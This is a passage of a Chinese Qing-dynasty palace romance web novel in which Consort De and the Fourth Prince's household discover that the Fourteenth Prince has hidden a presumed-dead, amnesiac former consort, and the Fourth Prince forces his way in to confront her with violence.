翌日,完颜氏让人支走吴侍妾身边那几个奴才,说是膳房那边着火,让她们帮忙破水救火,随即她过去找吴侍妾,恰好弘春今日去上书房那边上课,她说弘春在宫里出事了,要吴侍妾过去宫里看看。
吴侍妾一听弘春出事,就很着急,不疑有他地跟着她走,上了马车,完颜氏就这样带着吴侍妾进宫,抛开她身边那些奴才。
“福晋,弘春出什么事了?有没有受伤?”
吴侍妾一脸担忧着急地问她,完颜氏看着吴侍妾那张绝美的脸,她想吴侍妾之所以这么得宠,应该也是因为吴侍妾长得好看,说不嫉妒是不可能的,但她也没想伤吴侍妾,毕竟她只是一个侍妾。
她回道:“姐姐,这个我也还不知道,我们进宫才知道发生了什么事,不过姐姐不用太担心,宫里有很多人,肯定能护着弘春,弘春应该无碍。”
“得快些,十四在宫里吗?”
“主子爷应该在骁骑营那边,放心吧,很快就到了。”
跟昨日一样,娘娘宫里的奴才已经在顺贞门等她们,完颜氏带着吴侍妾过去永和宫,到了娘娘的房间后,她先屈膝行礼,吴侍妾没有行礼,似不大懂这些规矩,她扯了扯吴侍妾的袖子,示意她行礼。
“给娘娘请安,娘娘万福。”
吴侍妾这才跟着她行礼。
“抬起头来让本宫看看。”
完颜氏跟着抬头。
德妃见到完颜氏口中的吴侍妾时,刚开始还没什么异样,待她细细打量吴侍妾的长相后,她眼里闪
过震惊,这吴侍妾长得太像胤禛那个从外室升为主子的侍妾了。
她不可置信地盯着看,她是见过那个女人几次的,有几年过年的时候,胤禛的福晋会领着她们进宫给她拜年贺岁。
眼前这个吴侍妾除了脸上没有那块疤,几乎跟那个侍妾长得一模一样,尤其是眼睛,那个侍妾的眼睛就很勾人,跟吴侍妾的眼睛如出一辙。
她压下心底的震惊,问她今年几岁了,家中还有何人。
“福晋,弘春呢?”
完颜氏见吴侍妾没有回答娘娘的问题,反而有些呆愣地问她弘春在哪,她只好胡诌道:“弘春已经没事了,这会应该还在上课。”
“不行,我要见弘春,福晋,你带我去见弘春。”
“不着急,弘春还在上课,你先回答娘娘的问题。”
“不行,我要先见弘春,弘春出事了,我要见他。”
完颜氏也没想到吴侍妾非要见弘春,在娘娘面前,她还这么无礼,心想真不愧是农户女,一点规矩都没有。
“本宫让人去叫弘春过来,你在此等候片刻,不用着急。”
娘娘开口这么一说,吴侍妾才稍微平静下来,完颜氏才松一口气,对上娘娘洞察的目光,她心里一紧,不骗吴侍妾,她哪能带吴侍妾进宫。
德妃让她们坐下,让宫女上茶上点心,又看向吴侍妾,继续问道:“先告诉本宫,你叫什么名字,你跟十四怎么相识的?”
“我叫桃子,我认识十四。”
桃子是什么名字,德妃眉间一皱,对于吴侍妾略显没有规矩的回答,她也没有生气,毕竟她是农户女,出身低微,不懂得规矩也属正常。
“你叫桃子?这是你本名还是小名?”
“这是我的名字。”
“那你跟十四怎么相识的?”
吴侍妾摇摇头,说不出来她跟十四怎么认识的,只说她认识十四,又问了一句弘春在哪里。
“弘春很快就来了,那你跟本宫说说你家中还有何人?”
“没人了,十四说我没有阿玛跟额娘。”
“你知不知道你如今几岁?”
“三十岁。”
果真比十四年长,德妃记得胤禛那个侍妾要是还活着,应该也是三十来岁,她越看越觉得不对劲,这个吴侍妾实在太像胤禛那个侍妾了。
弘春被带过来了,吴侍妾一见到弘春就将他上下都看一遍,问弘春有没有受伤。
“额娘,你怎么在这?”
“额娘听说你受伤了,额娘担心你。”
“谁说我受伤了,我没有受伤,祖母,是你叫额娘进宫的吗?”弘春越过自家额娘,看向德妃。
德妃承认道:“是,祖母想看看你额娘,跟你额娘说说话,弘春,你额娘叫什么名字,你知道吗?”
弘春很骄傲地挺了挺小胸膛:“我当然知道,我额娘叫吴桃,我阿玛叫额娘桃子。”
“那你额娘如何认识你阿玛的?”
弘春笑道:“祖母,你好笨啊,我额娘认识我阿玛的时候,我还没生出来呢,我怎么知道我额娘怎么认识我阿玛的,我回去问问阿玛才能告诉祖母。”
德妃听到弘春的话也不由地笑了笑。
“好,那你回去问问你阿玛,然后再来告诉祖母,你先回去上课吧,祖母跟你额娘还有话要说。”
弘春小大人似的挡在自家额娘面前:“祖母,你有什么话跟我说吧,阿玛说了在外面,我得保护额娘。”
德妃看了看弘春,又看了看吴侍妾,知道今天恐怕教不了吴侍妾规矩了,只好道:“算了,本宫也没什么话要说了,福晋,你带她回府吧,弘春,你也回去继续上课。”
“我跟我额娘一起回去,阿玛说了,不能留额娘一个人,青茉姐姐不在,我得守在额娘身边。”
德妃点点头,挥挥手让他们离开。
完颜氏也只好带着吴侍妾跟弘春一块出宫回府,刚到顺贞门时,十四阿哥就赶过来了。
“阿玛……”
“跟你额娘先上马车,回去再说。”
胤禵知道完颜氏偷偷带乌锦进宫时,吓出一身冷汗,急急赶过来,示意她们先上马车,看着乌锦坐进马车里面时,他才冷冷地看了完颜氏一眼。
“主子爷,是娘娘想要见姐姐,我带她进宫见娘娘。”
“你们这一路上可有碰到什么人?”
完颜氏不明所以,老实回说她们只是进宫见娘娘,没碰到什么人。
胤禵知道这里不是说话之地,他先带着乌锦离开再说。
等回到府邸后,胤禵问乌锦有没有见到什么人,跟谁说话了,乌锦只说她进宫找弘春,见到宫里的娘娘,弘春就过来了。
乌锦还不知道德妃是胤禵的额娘,她太过心慌着急,脑子转不过弯,只顾着担心弘春了。
胤禵又过去问完颜氏跟完颜氏身边的几个奴才,知道乌锦只见到额娘后才松一口气。
翌日,他就被额娘叫进宫。
德妃昨日越想越觉得不对,那个吴侍妾实在太像胤禛那个侍妾了,她见到胤禵,试探性地说道:“额娘昨日见到弘春的额娘,没想到她比你年长这么多岁,额娘问她你们是如何相识的,你知道她怎么说吗?”
“怎么说?”
“她说她不是在镇北关那边认识你的。”
胤禵不语。
德妃继续说道:“这说来也奇怪,额娘记得你说过她是镇北关的农户女,当初弘春出生的时候,你让宗人府那边记下弘春生母的情况,额娘还以为你们是在镇北关那边相遇的,额娘今日叫你过来,是想听你亲口说说你们是如何相识的。”
胤禵不知昨日乌锦都说了什么,怕对不上,他说道:“额娘,我们如何相识的并不重要,你只需知道她是弘春的生母,是我的侍妾就行,额娘往后不要让她进宫,她胆子小,又不懂规矩,我怕她冲撞了额娘。”
德妃屏退所有奴才,屋内只有他们母子两,从昨日胤禵急匆匆赶进宫,再到他今日说不要让吴氏进宫,她突然意识到什么。
“胤禵,那个女人是你哥哥的女人,你怎么敢把她放在你身边?”
“额娘,她是弘春的额娘,是我的侍妾。”
见胤禵没有否认,而是强调那个女人是弘春的额娘,德妃刚才没有十分确定,只是试探,这会才真正确定,她不可置信地盯着自己的儿子,震惊到脸色发白。
“真是……真是她?你四哥当初那个外室?胤禵,你疯了吗?那是你四哥的女人,你……你……”
德妃已经说不出来话,怪不得吴侍妾长得像胤禛的侍妾,其实就是胤禛那个从外室升为主子的侍妾,她记得是姓乌,叫乌锦来着的,当初胤禛遇刺,都说乌锦死在那场刺杀中,只是不见尸首,胤禛找了好久,被皇上怒斥后才没有继续找,都说是太子安排人刺杀胤禛等人,皇上查了两年多才查到太子头上,太子因此被废。
本以为乌锦死了,没想到竟然是被胤禵藏起来了,她记得没错的话,当初胤禵的确是在蒙古那边。
“胤禵,你怎么敢的?你真是疯了!”
德妃真没想到胤禵竟然将胤禛的女人占为己有,胤禛可是他亲哥,要是被胤禛知道,势必亲兄弟反目成仇,胤禛在那个女人死后可是消沉颓丧好几年,若是对乌锦没有几分在意,他不会如此。
“额娘,她不是四哥的人。”
德妃想到弘春,她问道:“弘春是谁的孩子?你告诉额娘,弘春究竟是谁的孩子?是你的还是你四哥的?”
“额娘,弘春是我的儿子,弘春才六岁。”
德妃已经不怎么信胤禵说的话,弘春已经快跟弘时差不多高了,未必真的是六岁,胤禵连这种事都做得出来,他还有什么是不敢做不敢说的。
“胤禵,你四哥待你不薄,你为了一个女人昏了头,你让额娘失望了,你赶紧把那个女人处死,不要留后患,趁着这事还没有其他人知道,你赶紧把那个女人杀了!她既然已经死在八年前,就让她死在八年前,莫生风波!”
“额娘,这事你
就别管了,她不是四哥的人,你认错人了。”
“胤禵,这世上没有两个一模一样的人,额娘能看出来,别人也能看出来,你不要再糊涂下去,你四哥是什么样的人,你也清楚,到时候你四哥若是知情,你们亲兄弟要反目成仇,这是你想看到的?你四哥是你亲哥哥呀。”
德妃苦口婆心劝道,尽管乌锦脸上没有那块疤,但她的眼睛太特别了,她只见过乌锦几面,见到她都能认出来,更何况胤禛,只要胤禛见到乌锦,肯定能把人认出来。
“额娘,我不会让四哥见到她的。”
“你把她杀了!胤禵,别执迷不悟,那个女人究竟哪里好,你们一个两个都疯了,不过是一个女人而已,胤禵,杀了她,只有死人埋在地下,你四哥才不会见到她!”
“额娘,你别管了,反正我不会让四哥见到她的,她也不是乌锦,不是四哥的人,她是弘春的额娘,是我的人,没什么事的话,我先走了。”
德妃看着胤禵离开,这事太严重了,一定不能让胤禛知道,那个女人一定得死!
第100章第100章新文《康熙家的德妃又作又……
胤禵来到后院,见到乌锦正坐在院子里的石桌前跟青茉几人正在插花,乌锦很认真,拿着剪子剪花枝,她抬头见到他,冲他笑了笑。
“十四,你回来了,你要喝绿豆汤吗?青茉说可以祛热,你喝一碗吧。”
胤禵点点头,他也坐在石桌前看着乌锦摆弄那些花,听她说院子里哪些花开了,絮说的模样让他也一下子静下来。
“好看吗?”
胤禵看她插好的花,高低不一地插在花瓶中,他说好看,乌锦笑得更开心了,她天真无邪的样子让他晃了晃眼,七年了,他们一起度过七年平静又欢愉的日子,她若是想起什么,是会留在他身边还是会回到四哥身边,早知道他们就不回京城了。
“十四,十四……”
“什么?”胤禵沉浸在自己的思绪中,一时没听清乌锦说什么,被唤两声才回过神。
“你都没有听我说话,我说等一会弘春回来,你要检查他的功课。”
“哦,好,我知道了。”
胤禵先喝了一碗冰镇绿豆汤,等到申时初,弘春从上书房那边回来,他当着乌锦的面问他今日都学了什么,弘春支支吾吾说不上来,一看就是没好好听先生讲课。
弘春知道自己不对,立即过去抱住乌锦的手臂撒娇,乌锦被他缠得没办法,也没有继续问他的功课,弘春逃过一劫。
胤禵心想若是乌锦真想起来什么,他们之间还有弘春,弘春是他们的孩子,这是永远割舍不掉的血缘关系。
夜里,胤禵紧紧搂着乌锦。
乌锦仿佛感觉到他的不安,只是轻轻抚摸他的后背。
胤禵顿时觉得自己是阴险小人,她什么都忘了,他才能占据她,她若是想起,应该会恨他吧,他一定不能让四哥见到她。
“十四,我困了。”
“嗯,睡吧。”
胤禵感觉到旁边的人呼吸变得平稳,他也才睡了过去。
……
雍亲王府,弘春过来王府找弘时玩,弘时带他到花园那边喂鱼,弘春很兴奋,一直凑近池塘,还让人拿来捕鱼网想捞池塘里面的鱼。
跟着两位小阿哥的奴才怕他们掉进去,一直在一旁小心看着。
“弘时哥哥,这里有一条。”
弘春大喊道。
弘时便拿着捞鱼网弯腰去捞鱼。
乌喇那拉氏过来花园这边就听到两个男孩子的声音,问旁边的人才知道今日十四阿哥的儿子弘春府上找弘时一块玩,她还没见过弘时,上一次弘时生病,她过去探望却被拦在外面,没能见到人。
“走,过去看看。”
乌喇那拉氏走过去,见弘时跟弘春蹲在池塘边,身子跨出去半边去捞鱼,身后有奴才扯着他们后背的衣服,怕他们掉进去。
“给福晋请安。”奴才给她行礼,她摆摆手,弘时回头见到她,也起身,喊她一声母亲,弘春也站起来,眼睛骨碌碌地转。
乌喇那拉氏走过去,摸了摸弘春的头,柔声道:“你就是弘春吧,我是你四伯母。”
“你是弘时哥哥的额娘吗?”
“我不是,我是你弘晖哥哥的额娘。”
弘春似乎懂了,笑着喊了一声四伯母好。
“真乖,你们要小心些,这池塘的水深,小心别掉进去。”
“没事,掉进去了再爬起来就是,反正天热,玩玩水也好。”
乌喇那拉氏见弘春性子这么活泼跳脱,心想不愧是在边关那边长大的,跟十四阿哥的性子很像,十四阿哥也是从小喜欢玩,她笑了笑:“你不是前不久才生病过,真掉进去了,小心又生病,你若是喜欢这些鱼的话,我让人送一些到你府上。”
“不行,我们家没有池塘,而且我养过鱼,不过都死了,我额娘就不让我养了,我就是想吃它们,烤鱼很好吃。”
乌喇那拉氏觉得弘春这个孩子性子不错,很可爱,又摸了摸他的头,“行,那你们继续捞吧,捞到多少条,我就让膳房的人给你们弄多少条烤鱼,你今日就在这里用膳好了。”
“四伯母,你真好。”
“去吧。”
乌喇那拉氏让两个孩子继续玩,她在一旁看着,弘时比较贪玩,越贪玩越好,只要她的弘晖不贪玩就行,可能也是因为弘时贪玩,才会跟弘春玩到一块,两个孩子这么快熟悉起来。
“福晋,你有没有觉得弘春小阿哥有点像一个人。”崔嬷嬷在她耳边说了一句。
乌喇那拉氏问像谁。
“像乌侧福晋。”
乌喇那拉氏挑眉,稍显疑惑,乌氏已经死了七年之久,快八年了,这府上已经很少有人提起乌氏,乌氏死了,主子爷可是消沉好几年,人也变得更冷漠了。
新来的奴才可能都没有听说过乌氏,不知道王府曾经还有过一个侧福晋。
她再细看弘春,发现崔嬷嬷说得不错,这弘春真的越看越像乌氏,眼睛像,整张脸也有几分相像。
“嬷嬷,你这么一说,我觉得弘春很像曦宁,比起弘时,弘春跟曦宁更像姐弟两。”
崔嬷嬷赞同道:“是啊,弘春小阿哥跟曦宁格格真的很像,不过弘春小阿哥跟十四阿哥也很像,十四阿哥跟主子爷是一母同胞,连各自的孩子都相像。”
“可不是嘛,乌氏死了那么久,年氏长得有两分像乌氏,得宠了好几年。”乌喇那拉氏说道,以前她还想着主子爷能喜欢她,如今她已经没有这种想法,只想让弘晖当上世子。
她看了一会叮嘱奴才们看好小阿哥,然后才离开,再过五日便是十四福晋的生辰,她已经备好生辰礼,完颜氏也邀请她过去府上参加生辰宴。
太子被废,乌喇那拉氏知道主子爷对皇位也有想法,十四阿哥是主子爷的亲弟弟,主子爷肯定也想拉拢十四阿哥站在他这一边,她身为福晋,要帮主子爷周旋好这些后院女人的关系。
过了半个时辰,听说弘春跟弘时已经捕好鱼了,乌喇那拉氏便让膳房的人将他们捕好的鱼烤了。
其实池塘里的那些鱼更多是观赏,要是多吃好吃,那倒不至于,不过小孩子就是图一乐,顺着孩子的心意就好,几条鱼而已,又不费什么功夫。
底下的人过来说弘春想把烤好的鱼带回家,她也让人把鱼包好,让人送弘春回府。
五日过后,七月二十一日,十四福晋的生辰日,乌喇那拉氏带着李氏她们还有府里的孩子过去十四阿哥府邸。
她们到的时候,大福晋她们也到了,虽说十四阿哥是四阿哥的亲弟弟,但十四阿哥跟其它阿哥关系也不错,所以大家都给十四福晋几分薄面,过来参加她的生辰宴。
不过十四福晋邀请的只是女眷跟孩子,并未邀请那些阿哥,乌喇那拉氏知道这几年,那些阿哥已经很明显离心,属于不同阵营,都想得到皇位,连带着她们这些人来往都不多,不过还是能做到表面和谐。
乌喇那拉氏到她的位置坐下,跟旁边的三福晋跟五福晋寒暄几句。
大福晋凑过来说道:“我听说弘春的额娘生得貌美,不如今日能否一见。”
乌喇那拉氏其实也想见一见弘春的生母,她也听闻弘春的生母极其貌美,而且比十四阿哥年长,她还没从来没有见过,今日过来自然想见一见。
她附和道:“应该能见到吧,见到了就知道是不是真的跟传闻一样貌美。”
人差不多来齐,十四福晋都过来了,乌喇那拉氏扫了一眼,没见到陌生的脸庞,十四福晋说了一番感谢的话语,便让人上菜了。
乌喇那拉氏有些疑惑,大福晋这人心直口快,直接问怎么不见弘春的生母,大福晋这么一问,也省去她问十四福晋了。
“吴氏身子有恙,不能前来。”
一句话让她们不好再追问,今日是十四福晋的生辰,若是非
要让一个生病的侍妾出来,也显得喧宾夺主,给十四福晋难堪。
乌喇那拉氏吃了一些东西,突然想去恭房小解,她由人领去恭房那边,从恭房出来后,她见到多兰格格往后面的院子走去,她记得没错的话,多兰格格是跟着简王妃过来的,她这般鬼鬼祟祟是要去哪里。
多兰这次过来参加生辰宴,就是想看看弘春的生母,那个跟乌锦长得很像的女人,只是在席上,她听说那个女人没有出席,她就想自己过去看看,趁着所有人都在宴桌上,而府里的奴才也都在忙碌,她就便自己过去后院。
她打听到那个女人是住在离前院最远的院子,她就直奔后院那边去,她来到一处独院前,这独院应该是离前院最远,见院门关闭,也觉得奇怪,明明是十四福晋的生辰,为何那个女人身为侍妾不出席,还关起门来。
她凑上去,隔着门缝看里面,她见到院子里有人坐着,她细看,只能看到那个女人的侧脸,但她很肯定那人就是乌锦,实在是太像了,只是当她正脸转过来时,奇怪的是她脸上没有那块疤。
乌锦脸上有一块疤来着,而且是很大一块疤,这个女人脸上为何没有,是乌锦,又不是乌锦。
多兰觉得奇怪,怕逗留太久被人看到,她还是转身离开,一转身见到四福晋就在不远处看着她,她差点吓出声音。
四福晋示意她上前,她们到一旁说话。
“多兰,你在这里干什么?”
多兰觉得面前的人是四福晋,她肯定见过乌锦,她便跟四福晋说不久前见过一个很像乌锦的女子,那人是十四阿哥的侍妾,弘春的生母。
“我刚刚偷看了,那个女人真的很像乌锦,福晋若是不信的话,你可以去看看。”
乌喇那拉氏见多兰语气笃定,此时府里的人都聚在正院那边,没人注意到她们的举动,她也做出不合身份的事,凑到院门前偷窥。
多兰说像,她还有点不相信,等她看到那个女人坐在石凳上做针线活时,手上的动作跟神态像足了乌锦,只是乌锦脸上有疤,而那个女人脸上光滑。
容貌的确出色,乌锦还活着的时候,她有时候看着乌锦就在想乌锦的脸上若是没有那块疤,该有多好看。
乌喇那拉氏惊得直接捂住嘴巴,太像了,简直是一模一样,府里的年氏只是两分像,那院子里的人是十分像。
她反应过来后拉着多兰离开。
“福晋,我说得没错吧,那人是不是就是乌锦?”
乌喇那拉氏否认道:“多兰,你看错了,那人不是乌锦,乌锦已经死了,你忘了,乌锦脸上有一块大疤来着,人脸上的疤不可能无缘无故地消失,那人不是乌锦,我看跟乌锦长得也不像,多兰,你今日之事不要跟别人说,免得给简王府跟你哥哥带来麻烦。”
“真的不是?”
“我跟乌锦共处几年,我晓得乌锦的样貌,那人肯定不是乌锦,只是一个跟乌锦长得有几分相似的人罢了,好啦,我们该回去了,不然会有人过来找我们。”
多兰心下依旧存疑,不过还是随着四福晋回到正院这边。
等生辰宴过后,她们各自回去。
乌喇那拉氏坐在车厢内,手里绞着帕子。
弘春这么小,就跟乌锦长得有几分相像,那人即使是脸上没有那块疤,可一个人的年纪是不会说谎,这世间哪有容貌一样,年纪也一样的两个人。
那就是乌锦,乌喇那拉氏没有看错,乌锦怎么会成为十四阿哥的侍妾,弘春的生母,不对,乌锦为什么还会活着。
她还活着,为什么会成了十四阿哥的人,她为什么不回来找四阿哥。
乌喇那拉氏只觉得自己脑子乱成一团,若那人真是乌锦,那弘春是谁的孩子,弘春六岁,跟乌锦传出死讯的年份也对得上,加上怀胎十月,不就正好是七年。
十四阿哥又为什么会跟乌锦在一块,她能认出乌锦,十四阿哥不可能认不出来,十四阿哥明知那是乌锦,还强行留乌锦在他身边,他存的是什么心思。
她要不要告诉四阿哥,四阿哥很明显还没忘掉乌锦,若弘春是四阿哥的孩子,那弘春会不会成为四阿哥最喜欢的孩子,若弘春不是四阿哥的孩子,是乌锦跟十四阿哥所生,四阿哥知道后,一定会跟十四阿哥反目成仇。
如今朝堂上,拥趸四阿哥的人不多,不少大臣是更看好有贤名的八阿哥,而八阿哥跟九阿哥、十阿哥走得很近,四阿哥身边只有十三阿哥。
十三阿哥的生母章佳氏母族不显,给不了四阿哥太多助力,若是十四阿哥这个亲弟弟都不站在四阿哥这边,那四阿哥可能在朝堂上势力弱一些。
这事不能让四阿哥知道,不能让四阿哥知道乌锦还活着,就怕纸包不住火,多兰显然已经见到活着的乌锦,那就意味着也有别人见到乌锦。
原先十四阿哥他们远在镇北关还好,只是眼下已经回到京城,要想别人见不到乌锦,就得让乌锦不得出府,甚至不得走出院子。
还有弘春,他年纪这么小,小脸已经很像乌锦,四阿哥见多了,迟早会起疑。
最主要是十四阿哥,他是疯了,明知乌锦是四阿哥的人,还敢把人留在身边,据为己有,还有乌锦,她到底在想什么,为何不从十四阿哥身边逃开。
乌喇那拉氏知道这事事关重大,尤其是多兰已经起疑,多兰是简亲王的妹妹,简亲王又跟四阿哥走得很近,估计隐瞒不了多久。
四阿哥一定不能知道,乌喇那拉氏心里做了决定,看乌锦七年过去并不见老态,可见十四阿哥对她不错,要想让十四阿哥对乌锦做什么,恐怕不成行,十四阿哥做出这样荒唐疯狂的事,不顾兄弟情谊,唯有一个情字说得通,他喜欢乌锦,正如四阿哥喜欢乌锦一样。
十四阿哥那边行不通,还能从谁那里下手,乌喇那拉氏回府后又想了一
夜,最后想到德妃娘娘。
她给娘娘递帖子,没几日,她就被召进宫。
乌喇那拉氏示意其他人都出去,她单独跟德妃娘娘说话,将事情来龙去脉告知娘娘,她本以为娘娘会很震惊,但没想到娘娘神色没那么惊讶,一问才知道娘娘七日前见过乌锦,已经知晓此事。
娘娘显然也为此事忧心,她们都一致决定这事要瞒着四阿哥,而且要尽快处理掉乌锦,人既然已经死了,没必要死而复生。
只是乌锦此时被十四阿哥保护得很好,看那日乌锦在那个独院里,有好几个奴才围着,想必外人接触不到乌锦。
娘娘让她别管这事,乌喇那拉氏知道娘娘更不想兄弟两反目成仇,她就将此事交给娘娘处理,她回去等消息。
……
乌锦这边的日子过得还是很平静,除了她不能出府,跟府里的其他人也不能过多接触,待在院子里的日子很多。
有时候弘春想跟她一起出去,都被胤禵拒绝,乌锦很依赖胤禵,她以为是京城的规矩,于是很听话地待在府里,哪也不去。
弘春他认识不少同龄人,加上上面有一些堂哥,他们会带着他出去玩,渐渐的,他也不执着额娘陪他玩了。
胤禵自从知道自家额娘知道他跟乌锦的事后,几乎是对出现在乌锦身边的人严防死守,压根不会让外人接触乌锦,连乌锦的膳食都是单独做,跟其他人区分开来。
皇阿玛要巡幸京畿,要四哥、九哥、十哥还有他随行,大概要去一个月,因为此行四哥也要随行,他不能带乌锦一起去,只是去一个月,时间太久,他不放心乌锦待在府里。
于是他又将乌锦送去延信庄园那边,而弘春跟他一起出巡,他让人把守庄园,这才放心离开京城。
德妃原本以为十四离京,她可以对乌锦下手,只是据十四府里的奴才汇报,乌锦也跟着十四出巡,她心想十四胆子太大了,明知胤禛也跟着皇上出巡,他也敢把人带去。
反正德妃没找到下手的机会,人都找不到,只能暂且歇了心思。
一个月过去,皇上等人回京。
胤禛回到王府,把贺进豪叫进书房。
“你让人盯着胤禵,把人盯紧,胤禵府里的一举一动都给我盯紧,包括他府里的那些女人,还有弘春,也盯紧弘春的行踪。”
贺公公也不敢多问,只能领命。
苏培盛也一旁也不知道发生了什么,怎么四阿哥一回来就让人去盯十四阿哥,出巡的这一个月,十四阿哥并没有任何异样呀。
胤禛坐在书房里,整个人沉抑。
有人进来说年格格求见,苏培盛看向四阿哥,年氏自从进府后就很得宠,也有三年多了,加上她是年羹尧的妹妹,一般年氏求见,四阿哥都会见她。
只是这会四阿哥沉默不语,苏培盛只好跟通传的奴才说让他回拒年格格,就说主子爷有事要忙,不便见人。
过了一会,四阿哥开口道:“苏培盛,你让人去找七年前跟着十四驻守边关所有佐领的名单,把名单交给我。”
“主子爷,可是有什么不对?”苏培盛没记错的话,当初跟着十四阿哥驻守边关的人大多是皇上分给十四阿哥的佐领,这名单好找,只是那些人都是十四阿哥的人,未必能被四阿哥所用。
苏培盛以为四阿哥是想策反那些人,话语刚落,他就被四阿哥冷冷看了一眼,吓得他赶紧说他这就去找。
苏培盛离开书房后,胤禛依旧坐在书房的雕花木椅上。
出巡前,雅尔江阿告诉他,乌锦可能还活着,说是多兰曾见过乌锦,是在十四府里见到的,说乌锦已经成为十四的侍妾,为十四生下弘春。
雅尔江阿说他也不知真假,只是多兰言之凿凿,不似骗他,他才将此事告知他,事实如何,待他查证。
出巡这一个月,胤禛时不时盯着弘春看,越发觉得弘春长得很像乌锦,应该说他长得很像曦宁,而曦宁是乌锦的翻版,弘春的眼睛尤其像。
当初没找到乌锦的尸体,生要见人,死要见尸,说不定乌锦真的还活着。
多兰的话不可尽信,但这种大事,她不敢妄言,最重要的是弘春这孩子实在太像乌锦了,他不得不生疑。
他听说弘春的生母容貌出色,这一点又跟乌锦相反,乌锦脸上有一块疤,但他又想到这会不会是胤禵故意放出来的假消息,只要说弘春的生母容貌出色,他们就不会联想到乌锦身上。
是真是假,胤禛定要查个水落石出,他要亲眼见弘春的生母,是不是乌锦,一看便知。
100-110
第101章第101章新文《康熙家的德妃又作又……
胤禛听说十四回京后从延信庄园那边将一女子接回府中,他让人将看守庄园的一奴才抓过来审问,那女子就是弘春的生母。
十四出巡离京,为何要费尽心思将人藏入庄园那边,明明是他的侍妾,人可以住在府里,他又特意将人移到庄园那边,是十四知道弘春的生母不能见人。
胤禛让人拿着乌锦的画像去问当时跟十四去镇北关的包衣奴才,见过弘春生母的人都说弘春的生母跟画像里的人很像。
胤禛让十三带十四去城外骑马,他带着人过去十四的府邸。
“四阿哥,十四阿哥今日出城了,不在府中。”完颜氏还以为四阿哥是过来找十四阿哥的,说了一句,也示意奴才给四阿哥奉茶。
胤禛坐在大堂内的紫檀木雕花椅上,喝一口茶后才缓缓说道:“十四建府这么久,我还没有逛过十四的府邸,今日想逛一逛,也好在这里等十四回来。”
完颜氏觉得有点奇怪,因是四阿哥,她也不好拒绝,十四阿哥不在,她身为福晋,府邸的女主人公,只能是她来陪四阿哥逛一逛:“既然如此,我带四阿哥逛一逛吧。”
“不用,我自己逛就行,弟妹不用管我。”
完颜氏疑惑,没等她说什么,四阿哥已经起身往外走,她只好示意奴才们跟上去。
胤禛先到园子那边逛一会,又问吴侍妾住在何处,他直接来到后院,府里的奴才莫名不敢拦四阿哥,只能让他走入后院。
后院是女眷住的地方,外男一般不会进入。
胤禛来到吴侍妾住的独院前,让苏培盛敲院门。
里面的人问是谁,苏培盛瞥了瞥四阿哥,没回说是谁,只让人把院门打开,过了一会儿,门依旧没打开。
在府里的洪巍听闻四阿哥过来,着急忙慌地赶过来,打了千给四阿哥行礼。
“四阿哥,这是吴侍妾的院子,四阿哥恐怕不便进去。”
胤禛冷冷地扫了一眼洪巍,直接让人把门踹开。
在屋内的乌锦不知道发生了什么事,只是见到青茉她们一脸慌张,不知所措,当她听到门边巨大的动静时,她问青茉是怎么回事。
青茉刚刚已经从门缝中见到外面的人是四阿哥,她是晓得主子的真实身份的,她想让主子藏起来,没等她把人藏起来,四阿哥等人已经进来了。
乌锦见十几个人闯入她的房间,轻皱眉头,为首的人,她从来没见过,不由地问了一句你是谁。
胤禛见到死而复生的人,心中已是惊涛骇浪,真是乌锦,她脸上哪怕没有那块疤,他也能一眼认出她,他死死地盯着面前这个人。
苏培盛见到人时也愣住,这也太像侧福晋了,十成像,简直是同一个人。
“乌锦……”
胤禛走过去,将人紧紧抱在怀中,干涩的喉咙中吐出两个字。
乌锦被一个从未见过的男子抱住,她下意识地拼命挣扎,目光求助地看向青茉。
“四阿哥,我家主子不舒服,还请你松开她。”青茉跪下来,鼓起勇气道。
“乌锦,你为什么会在十四府中?”
胤禛把人松开,冷声问道,双手依旧箍着乌锦的肩膀。
“你是谁?你怎么可以随便闯入我房间,你别碰我。”
乌锦想挣脱那人的双手,却被抓得紧紧的,一个高大陌生的男子,她没来由地感觉到害怕。
胤禛方才太过震惊,没听到乌锦问的那句你是谁,这会见到乌锦问他是谁,眼神看到他时尽是陌生,他才觉得哪里不对劲,不可置信地问:“乌锦,你不认得我了?”
“我不认识你,青茉,救我。”
乌锦终于挣脱那人的双手,她吓得后退好几步,躲到青莉身后。
胤禛冷冷地盯着乌锦的脸,她眼里的陌生跟害怕不似作假,她怎么会不认识他?他不可能认错人,这就是乌锦,世上不可能有两个一模一样的人。
她是不是装不认识他,这女人向来演技很好,又擅长说谎,胤禛不知她为何会这样,他是又气又怒又喜,心中五味杂陈。
“苏培盛,你将这屋内的人全部清出去。”
苏培盛知道此时四阿哥的吩咐是不可违抗的,
他示意跟来那些护卫将人都赶出去,有几人不想出去的也被强行拖出去,他将门阖上。
“乌锦,你看清楚我是谁,你为何会不认得我?你是不是又在骗我?”
乌锦见男子步步逼近,她已经退无可退,眼底的害怕越来越盛。
“你既然活着,为何要藏在十四府中,你跟十四是什么关系,他是不是碰你了?弘春是谁的孩子?”
胤禛又把人抓住,他低头吻她,只是人拼命挣扎,他气不打一处来,不管她的挣扎,强行吻她,他还想脱去她外衣,她身上哪里有痣,他都知道。
乌锦直接吓哭了,哭得很大声,一直喊十四救我,这四个字让胤禛更是气到肝疼,不过她害怕到哭的样子不似作假,他这才停下来。
“乌锦,你真的不记得我了?”
乌锦缩成一团,双手抱住自己。
“乌锦,曦宁呢,你也不记得曦宁了嘛,她是你女儿。”
乌锦泪如雨下,身子发抖,胤禛意识到不对劲,乌锦不会怕他的,她胆子大得很,为何七年过去,她胆子变小了,为什么会不记得他。
胤禛给她披好外衣,让她留在房间中,他自个出去屋外,指着刚才乌锦唤青茉的丫鬟:“你,你告诉我,你家主子是不是哪里受过伤?”
青茉嘴巴闭得很紧。
胤禛直接从旁边护卫的腰间拔出佩剑,指着青茉的脖子:“你不说,这把剑就划过你的喉咙,你见不到明日的阳光!”
青茉抖得跟筛子似的,她只是跪下来,但没有开口。
胤禛直接一剑划破她的脸,鲜血立即流出。
一旁的青莉吓得惊叫一声,温热的鲜血也有一些溅到她的脸上,在四阿哥抬手想再伤人时,她颤抖道:“四阿哥,奴婢……奴婢说,奴婢来说,主子她先前伤着脑袋,想不起以前的事,四阿哥若是不信的话,可以掀开主子后脑勺的头发,主子后脑勺有留下来的疤。”
跪着的洪巍在心里叹口气,在四阿哥闯进来时,这事恐怕就瞒不住了,现在只求十四阿哥赶紧回来,不然四阿哥要大开杀戒。
胤禛又进屋,他到乌锦身后,拆下她发髻,摸她的后脑勺,果然摸到一块细长疤,他再问乌锦:“你是真的不记得我了?我是胤禛。”
